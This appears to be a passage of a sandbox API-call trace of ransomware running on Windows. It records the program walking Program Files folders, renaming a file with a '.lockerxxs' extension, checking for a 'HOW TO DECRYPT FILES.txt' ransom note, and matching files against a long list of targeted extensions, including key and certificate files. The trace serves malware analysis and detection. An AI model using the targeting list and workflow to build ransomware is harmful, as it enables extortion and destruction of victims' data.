lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\uk-UA\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd838dce, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd838dce, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd838dce, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x4f84a8, cFileName=".", cAlternateFileName="")) returned 0x4f8118 [0058.281] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0058.281] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0058.281] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0058.281] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0058.283] SetFileTime (hFile=0x90, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0058.283] CloseHandle (hObject=0x90) returned 1 [0058.283] lstrcatA (in: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\uk-UA\\", lpString2="tipresx.dll.mui" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\uk-UA\\tipresx.dll.mui") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\uk-UA\\tipresx.dll.mui" [0058.283] lstrcmpA (lpString1=".", lpString2="zh-CN") returned -1 [0058.283] lstrcmpA (lpString1="..", lpString2="zh-CN") returned -1 [0058.283] FindFirstFileA (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\zh-CN\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd838dce, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x98074e3f, ftLastAccessTime.dwHighDateTime=0x1cb892c, ftLastWriteTime.dwLowDateTime=0x98074e3f, ftLastWriteTime.dwHighDateTime=0x1cb892c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x4f84a8, cFileName=".", cAlternateFileName="")) returned 0x4f8118 [0058.284] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0058.284] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0058.284] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0058.285] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0058.286] SetFileTime (hFile=0x90, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0058.286] CloseHandle (hObject=0x90) returned 1 [0058.286] lstrcatA (in: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\zh-CN\\", lpString2="tipresx.dll.mui" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\zh-CN\\tipresx.dll.mui") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\zh-CN\\tipresx.dll.mui" [0058.286] lstrcmpA (lpString1=".", lpString2="zh-TW") returned -1 [0058.286] lstrcmpA (lpString1="..", lpString2="zh-TW") returned -1 [0058.286] FindFirstFileA (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\zh-TW\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd838dce, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd838dce, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd838dce, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x4f84a8, cFileName=".", cAlternateFileName="")) returned 0x4f8118 [0058.287] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0058.287] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0058.287] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0058.287] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0058.289] SetFileTime (hFile=0x90, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0058.289] CloseHandle (hObject=0x90) returned 1 [0058.290] lstrcatA (in: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\zh-TW\\", lpString2="tipresx.dll.mui" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\zh-TW\\tipresx.dll.mui") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\zh-TW\\tipresx.dll.mui" [0058.290] lstrcmpA (lpString1=".", lpString2="MSClientDataMgr") returned -1 [0058.290] lstrcmpA (lpString1="..", lpString2="MSClientDataMgr") returned -1 [0058.290] FindFirstFileA (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\MSClientDataMgr\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x69dc9750, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x69dc9750, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x69dc9750, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x3, cFileName=".", cAlternateFileName="")) returned 0x4f81a8 [0058.291] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0058.291] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0058.291] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0058.291] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0058.293] SetFileTime (hFile=0x8c, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0058.293] CloseHandle (hObject=0x8c) returned 1 [0058.293] lstrcatA (in: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\MSClientDataMgr\\", lpString2="MSCDM.DLL" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\MSClientDataMgr\\MSCDM.DLL") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\MSClientDataMgr\\MSCDM.DLL" [0058.293] lstrcmpA (lpString1=".", lpString2="MSInfo") returned -1 [0058.293] lstrcmpA (lpString1="..", lpString2="MSInfo") returned -1 [0058.293] FindFirstFileA (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\MSInfo\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd838dce, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x1eab37af, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x4f84c8, cFileName=".", cAlternateFileName="")) returned 0x4f8118 [0058.294] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0058.294] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0058.294] FindFirstFileA (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\MSInfo\\en-US\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eab37af, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x23ecb743, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x4fa4e0, dwReserved1=0x4fa4db, cFileName=".", cAlternateFileName="")) returned 0x4f81e0 [0058.294] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0058.296] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0058.297] FindFirstFileA (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee282250, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xe5d93940, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xe5d93940, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x4f8428, cFileName=".", cAlternateFileName="")) returned 0x4f8118 [0058.298] FindFirstFileA (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee282250, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xc24d0020, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xc24d0020, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x4fa4e0, dwReserved1=0x4fa4db, cFileName=".", cAlternateFileName="")) returned 0x4f81e8 [0058.299] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0058.301] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0058.302] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0058.302] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0058.302] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0058.302] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0058.302] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0058.302] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0058.303] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0058.303] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0058.303] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0058.303] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0058.307] MoveFileA (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\README.HTM" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\readme.htm"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\README.HTM.lockerxxs" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\readme.htm.lockerxxs")) returned 1 [0058.308] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0058.308] PathAddBackslashA (in: pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\" | out: pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\") returned="" [0058.308] lstrcatA (in: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\HOW TO DECRYPT FILES.txt") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\HOW TO DECRYPT FILES.txt" [0058.308] GetFileAttributesA (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\how to decrypt files.txt")) returned 0x20 [0058.308] lstrcatA (in: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\", lpString2="xlsrvintl.dll" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\xlsrvintl.dll") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\xlsrvintl.dll" [0058.308] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\xlsrvintl.dll", pszSpec="*.ems") returned 0 [0058.308] lstrlenA (lpString="*.ems") returned 5 [0058.308] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\xlsrvintl.dll", pszSpec="*.db") returned 0 [0058.308] lstrlenA (lpString="*.db") returned 4 [0058.308] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\xlsrvintl.dll", pszSpec="*.dbf") returned 0 [0058.308] lstrlenA (lpString="*.dbf") returned 5 [0058.308] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\xlsrvintl.dll", pszSpec="*.myox") returned 0 [0058.308] lstrlenA (lpString="*.myox") returned 6 [0058.308] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\xlsrvintl.dll", pszSpec="*.myo") returned 0 [0058.308] lstrlenA (lpString="*.myo") returned 5 [0058.308] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\xlsrvintl.dll", pszSpec="*.qbw") returned 0 [0058.308] lstrlenA (lpString="*.qbw") returned 5 [0058.309] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\xlsrvintl.dll", pszSpec="*.qbb") returned 0 [0058.309] lstrlenA (lpString="*.qbb") returned 5 [0058.309] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\xlsrvintl.dll", pszSpec="*.qbm") returned 0 [0058.309] lstrlenA (lpString="*.qbm") returned 5 [0058.309] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\xlsrvintl.dll", pszSpec="*.qbo") returned 0 [0058.309] lstrlenA (lpString="*.qbo") returned 5 [0058.309] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\xlsrvintl.dll", pszSpec="*.qbx") returned 0 [0058.309] lstrlenA (lpString="*.qbx") returned 5 [0058.309] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\xlsrvintl.dll", pszSpec="*.qba") returned 0 [0058.309] lstrlenA (lpString="*.qba") returned 5 [0058.309] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\xlsrvintl.dll", pszSpec="*.qby") returned 0 [0058.309] lstrlenA (lpString="*.qby") returned 5 [0058.309] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\xlsrvintl.dll", pszSpec="*.qbj") returned 0 [0058.309] lstrlenA (lpString="*.qbj") returned 5 [0058.309] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\xlsrvintl.dll", pszSpec="*.ofx") returned 0 [0058.309] lstrlenA (lpString="*.ofx") returned 5 [0058.309] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\xlsrvintl.dll", pszSpec="*.qif") returned 0 [0058.309] lstrlenA (lpString="*.qif") returned 5 [0058.309] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\xlsrvintl.dll", pszSpec="*.mye") returned 0 [0058.309] lstrlenA (lpString="*.mye") returned 5 [0058.309] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\xlsrvintl.dll", pszSpec="*.mbox") returned 0 [0058.309] lstrlenA (lpString="*.mbox") returned 6 [0058.309] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\xlsrvintl.dll", pszSpec="*.eml") returned 0 [0058.309] lstrlenA (lpString="*.eml") returned 5 [0058.309] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\xlsrvintl.dll", pszSpec="*.pst") returned 0 [0058.309] lstrlenA (lpString="*.pst") returned 5 [0058.309] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\xlsrvintl.dll", pszSpec="*.ost") returned 0 [0058.309] lstrlenA (lpString="*.ost") returned 5 [0058.310] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\xlsrvintl.dll", pszSpec="*.idx") returned 0 [0058.310] lstrlenA (lpString="*.idx") returned 5 [0058.310] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\xlsrvintl.dll", pszSpec="*.dbx") returned 0 [0058.310] lstrlenA (lpString="*.dbx") returned 5 [0058.310] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\xlsrvintl.dll", pszSpec="*.sql") returned 0 [0058.310] lstrlenA (lpString="*.sql") returned 5 [0058.310] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\xlsrvintl.dll", pszSpec="*.mdb") returned 0 [0058.310] lstrlenA (lpString="*.mdb") returned 5 [0058.310] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\xlsrvintl.dll", pszSpec="*.fdb") returned 0 [0058.310] lstrlenA (lpString="*.fdb") returned 5 [0058.310] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\xlsrvintl.dll", pszSpec="*.wab") returned 0 [0058.310] lstrlenA (lpString="*.wab") returned 5 [0058.310] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\xlsrvintl.dll", pszSpec="*.dat") returned 0 [0058.310] lstrlenA (lpString="*.dat") returned 5 [0058.310] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\xlsrvintl.dll", pszSpec="*.txt") returned 0 [0058.310] lstrlenA (lpString="*.txt") returned 5 [0058.310] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\xlsrvintl.dll", pszSpec="*.jpeg") returned 0 [0058.310] lstrlenA (lpString="*.jpeg") returned 6 [0058.310] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\xlsrvintl.dll", pszSpec="*.jpg") returned 0 [0058.310] lstrlenA (lpString="*.jpg") returned 5 [0058.310] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\xlsrvintl.dll", pszSpec="*.png") returned 0 [0058.310] lstrlenA (lpString="*.png") returned 5 [0058.310] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\xlsrvintl.dll", pszSpec="*.php") returned 0 [0058.310] lstrlenA (lpString="*.php") returned 5 [0058.310] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\xlsrvintl.dll", pszSpec="*.cs") returned 0 [0058.310] lstrlenA (lpString="*.cs") returned 4 [0058.311] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\xlsrvintl.dll", pszSpec="*.cpp") returned 0 [0058.311] lstrlenA (lpString="*.cpp") returned 5 [0058.311] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\xlsrvintl.dll", pszSpec="*.rar") returned 0 [0058.311] lstrlenA (lpString="*.rar") returned 5 [0058.311] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\xlsrvintl.dll", pszSpec="*.zip") returned 0 [0058.311] lstrlenA (lpString="*.zip") returned 5 [0058.311] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\xlsrvintl.dll", pszSpec="*.html") returned 0 [0058.311] lstrlenA (lpString="*.html") returned 6 [0058.311] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\xlsrvintl.dll", pszSpec="*.htm") returned 0 [0058.311] lstrlenA (lpString="*.htm") returned 5 [0058.311] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\xlsrvintl.dll", pszSpec="*.xlsx") returned 0 [0058.311] lstrlenA (lpString="*.xlsx") returned 6 [0058.311] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\xlsrvintl.dll", pszSpec="*.xls") returned 0 [0058.311] lstrlenA (lpString="*.xls") returned 5 [0058.311] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\xlsrvintl.dll", pszSpec="*.mp4") returned 0 [0058.311] lstrlenA (lpString="*.mp4") returned 5 [0058.311] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\xlsrvintl.dll", pszSpec="*.ppt") returned 0 [0058.311] lstrlenA (lpString="*.ppt") returned 5 [0058.311] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\xlsrvintl.dll", pszSpec="*.pptx") returned 0 [0058.311] lstrlenA (lpString="*.pptx") returned 6 [0058.311] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\xlsrvintl.dll", pszSpec="*.doc") returned 0 [0058.311] lstrlenA (lpString="*.doc") returned 5 [0058.311] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\xlsrvintl.dll", pszSpec="*.dot") returned 0 [0058.312] lstrlenA (lpString="*.dot") returned 5 [0058.312] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\xlsrvintl.dll", pszSpec="*.docx") returned 0 [0058.312] lstrlenA (lpString="*.docx") returned 6 [0058.312] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\xlsrvintl.dll", pszSpec="*.7z") returned 0 [0058.312] lstrlenA (lpString="*.7z") returned 4 [0058.312] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\xlsrvintl.dll", pszSpec="*.tar") returned 0 [0058.312] lstrlenA (lpString="*.tar") returned 5 [0058.312] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\xlsrvintl.dll", pszSpec="*.bz2") returned 0 [0058.312] lstrlenA (lpString="*.bz2") returned 5 [0058.312] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\xlsrvintl.dll", pszSpec="*.gz") returned 0 [0058.312] lstrlenA (lpString="*.gz") returned 4 [0058.312] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\xlsrvintl.dll", pszSpec="*.mkv") returned 0 [0058.312] lstrlenA (lpString="*.mkv") returned 5 [0058.312] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\xlsrvintl.dll", pszSpec="*.eml") returned 0 [0058.312] lstrlenA (lpString="*.eml") returned 5 [0058.312] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\xlsrvintl.dll", pszSpec="*.msg") returned 0 [0058.312] lstrlenA (lpString="*.msg") returned 5 [0058.312] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\xlsrvintl.dll", pszSpec="*.edb") returned 0 [0058.312] lstrlenA (lpString="*.edb") returned 5 [0058.312] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\xlsrvintl.dll", pszSpec="*.accdb") returned 0 [0058.312] lstrlenA (lpString="*.accdb") returned 7 [0058.312] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\xlsrvintl.dll", pszSpec="*.odb") returned 0 [0058.312] lstrlenA (lpString="*.odb") returned 5 [0058.312] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\xlsrvintl.dll", pszSpec="*.java") returned 0 [0058.312] lstrlenA (lpString="*.java") returned 6 [0058.312] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\xlsrvintl.dll", pszSpec="*.asm") returned 0 [0058.312] lstrlenA (lpString="*.asm") returned 5 [0058.313] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\xlsrvintl.dll", pszSpec="*.pfx") returned 0 [0058.313] lstrlenA (lpString="*.pfx") returned 5 [0058.313] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\xlsrvintl.dll", pszSpec="*.pem") returned 0 [0058.313] lstrlenA (lpString="*.pem") returned 5 [0058.313] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\xlsrvintl.dll", pszSpec="*.p12") returned 0 [0058.313] lstrlenA (lpString="*.p12") returned 5 [0058.313] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\xlsrvintl.dll", pszSpec="*.gpg") returned 0 [0058.313] lstrlenA (lpString="*.gpg") returned 5 [0058.313] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\xlsrvintl.dll", pszSpec="*.vsd") returned 0 [0058.313] lstrlenA (lpString="*.vsd") returned 5 [0058.313] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\xlsrvintl.dll", pszSpec="*.odg") returned 0 [0058.313] lstrlenA (lpString="*.odg") returned 5 [0058.313] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\xlsrvintl.dll", pszSpec="*.raw") returned 0 [0058.313] lstrlenA (lpString="*.raw") returned 5 [0058.313] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\xlsrvintl.dll", pszSpec="*.nef") returned 0 [0058.313] lstrlenA (lpString="*.nef") returned 5 [0058.313] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\xlsrvintl.dll", pszSpec="*.svg") returned 0 [0058.313] 